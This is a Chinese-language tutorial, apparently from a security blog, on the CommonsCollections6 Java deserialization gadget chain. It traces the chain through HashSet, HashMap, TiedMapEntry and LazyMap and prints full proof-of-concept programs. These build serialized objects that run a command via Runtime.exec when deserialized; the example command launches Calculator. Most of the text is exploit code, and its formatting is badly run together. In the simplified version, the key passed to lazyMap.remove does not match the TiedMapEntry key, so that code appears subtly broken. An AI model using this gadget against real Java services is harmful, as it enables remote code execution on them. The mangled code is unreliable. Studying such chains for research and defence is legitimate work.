CommonsCollections6
上一篇文章中通过AnnotationInvocationHandler#invoke方法来触发LazyMap#get方法,而AnnotationInvocationHandler这个类在高版本Java(8u71以后)进行了修改,导致该利用链无法利用。
这里讲另一个相对比较通用的Gadget:CommonCollections6,这个Gadget使用了另一个类org.apache.commons.collections.keyvalue.TiedMapEntry,该类在其hashCode方法中调用了getValue,而在getValue中调用了this.map.get,即可以调用LazyMap#get方法。
利用链如下:
/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()TiedMapEntry.hashCode()TiedMapEntry.getValue()LazyMap.get()ChainedTransformer.transform()InvokerTransformer.transform()Method.invoke()Runtime.exec()by @matthias_kaiser*/
TiedMapEntry
TiedMapEntry(Map<K,V> map, K key)
构造POC
- 这条链主要是找了另一个类来触发
LazyMap#get,所以前半段可以直接复用上一篇的POC,并创建一个TiedMapEntry对象 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.util.Map; import java.util.HashMap;
public class CommonCollections6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“/System/Applications/Calculator.app/Contents/MacOS/Calculator”} ) };
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");
} }
- 根据利用链可知,这里需要找到触发`TiedMapEntry#hashCode`的方式。另外从前面URLDNS那条链可以得知,先调用`HashMap#put`,触发其中的`HashMap#hash`,最后就可以触发`TiedMapEntry#hashCode````javapublic V put(K key, V value) {return putVal(hash(key), key, value, false, true);}// ...static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
HashSet
HashSet(int initialCapacity)
那么怎样调用
HashMap#put呢,这里CC6的利用链用到了HashSet的反序列化,先创建一个HashSet对象HashSet hashSet = new HashSet(1);hashSet.add("test");
跟进看一下,发现在
readObject方法中会对输入流s进行反序列化,然后将s作为Key来调用map.put()方法private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in any hidden serialization magics.defaultReadObject();// Read capacity and verify non-negative.int capacity = s.readInt();if (capacity < 0) {throw new InvalidObjectException("Illegal capacity: " +capacity);}// Read load factor and verify positive and non NaN.float loadFactor = s.readFloat();if (loadFactor <= 0 || Float.isNaN(loadFactor)) {throw new InvalidObjectException("Illegal load factor: " +loadFactor);}// Read size and verify non-negative.int size = s.readInt();if (size < 0) {throw new InvalidObjectException("Illegal size: " +size);}// Set the capacity according to the size and load factor ensuring that// the HashMap is at least 25% full but clamping to maximum capacity.capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),HashMap.MAXIMUM_CAPACITY);// Constructing the backing map will lazily create an array when the first element is// added, so check it before construction. Call HashMap.tableSizeFor to compute the// actual allocation size. Check Map.Entry[].class since it's the nearest public type to// what is actually created.SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));// Create backing HashMapmap = (((HashSet<?>)this) instanceof LinkedHashSet ?new LinkedHashMap<E,Object>(capacity, loadFactor) :new HashMap<E,Object>(capacity, loadFactor));// Read in all elements in the proper order.for (int i=0; i<size; i++) {@SuppressWarnings("unchecked")E e = (E) s.readObject();map.put(e, PRESENT);}}
然后再看
writeObject方法,发现存在逻辑通过for循环来对keySet中的元素进行序列化。如果能够控制key,那么就能控制sprivate void writeObject(java.io.ObjectOutputStream s)throws java.io.IOException {// Write out any hidden serialization magics.defaultWriteObject();// Write out HashMap capacity and load factors.writeInt(map.capacity());s.writeFloat(map.loadFactor());// Write out sizes.writeInt(map.size());// Write out all elements in the proper order.for (E e : map.keySet())s.writeObject(e);}
序列化
如果想要控制
key元素,那么首先要获取到map这个对象,才能对key进行操作Field#get(Object obj),返回指定对象上这个字段的值 ```java // 获取HashSet中的map字段 Field map = Class.forName(“java.util.HashSet”).getDeclaredField(“map”); map.setAccessible(true); // 获取hashSet对象上map字段的值 HashMap hashSetMap = (HashMap) map.get(hashSet);
- HashMap中有一个`table`属性,这个属性将`<Key,Value>`封装在了`Node`对象中- 接下来就是操作`hashSetMap`这个HashMap对象,修改其中的Key。首先需要获取获取到了`table`中的`Key`后,再利用反射修改其为`hashSetMap````java// 获取HashMap中的tableField table = Class.forName("java.util.HashMap").getDeclaredField("table");table.setAccessible(true);Object[] mapArray = (Object[]) table.get(hashSetMap);// 获取table中Node对象的KeyObject node = mapArray[0];if (node == null) { node = mapArray[1]; }Field key = node.getClass().getDeclaredField("key");key.setAccessible(true);// 设置tiedMap为Node对象的Keykey.set(node, tiedMap);
触发漏洞
- 最后再对
hashSet对象进行序列化,并模拟反序列化场景来触发漏洞 ```java // Serialization ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashSet); System.out.println(baos);
// Deserialization ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject();
ois.close(); bais.close(); oos.close(); baos.close();
<a name="dkDBo"></a>### 完整代码```javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashSet;import java.util.Map;import java.util.HashMap;public class CommonCollections6 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})};Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");// new HashMap().put(tiedMap, "123");HashSet hashSet = new HashSet(1);hashSet.add("test");// 获取HashSet中的map字段Field map = Class.forName("java.util.HashSet").getDeclaredField("map");map.setAccessible(true);HashMap hashSetMap = (HashMap) map.get(hashSet);// 获取HashMap中的tableField table = Class.forName("java.util.HashMap").getDeclaredField("table");table.setAccessible(true);Object[] mapArray = (Object[]) table.get(hashSetMap);// 获取table中Node对象的KeyObject node = mapArray[0];if (node == null) { node = mapArray[1]; }Field key = node.getClass().getDeclaredField("key");key.setAccessible(true);// 设置tiedMap为Node对象的Keykey.set(node, tiedMap);// SerializationByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(hashSet);System.out.println(baos);// DeserializationByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();bais.close();oos.close();baos.close();}}
简化版CC6
来源于P牛对CC6利用链的改造:phith0n/CommonsCollections6.java
这条简化版的利用链不需要用到HashSet,因为在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中调⽤了key.hashCode()。
所以只需要让这个key等于TiedMapEntry对象,即构成TiedMapEntry.hashCode(),进而触发后续的利用链
- 这里参考ysoserial工具,在Transformer数组最后增加了一个
ConstantTransformer(1),消除java.lang.UNIXProcess报错 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Map; import java.util.HashMap;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[]{“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]} ), new InvokerTransformer( “exec”, new Class[]{String.class}, new Object[]{“/System/Applications/Calculator.app/Contents/MacOS/Calculator”} ), new ConstantTransformer(1), };
Transformer transformerChain = new ChainedTransformer(transformers);Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);TiedMapEntry tiedMap = new TiedMapEntry(lazyMap, "TiedKey");// new HashMap().put(tiedMap, "123");// 不再使⽤原CommonsCollections6中的HashSet, 直接使⽤HashMapMap expMap = new HashMap();expMap.put(tiedMap, "valuevalue");lazyMap.remove("keykey");// SerializationByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(expMap);System.out.println(baos);// DeserializationByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);ois.readObject();ois.close();bais.close();oos.close();baos.close();
} } ```
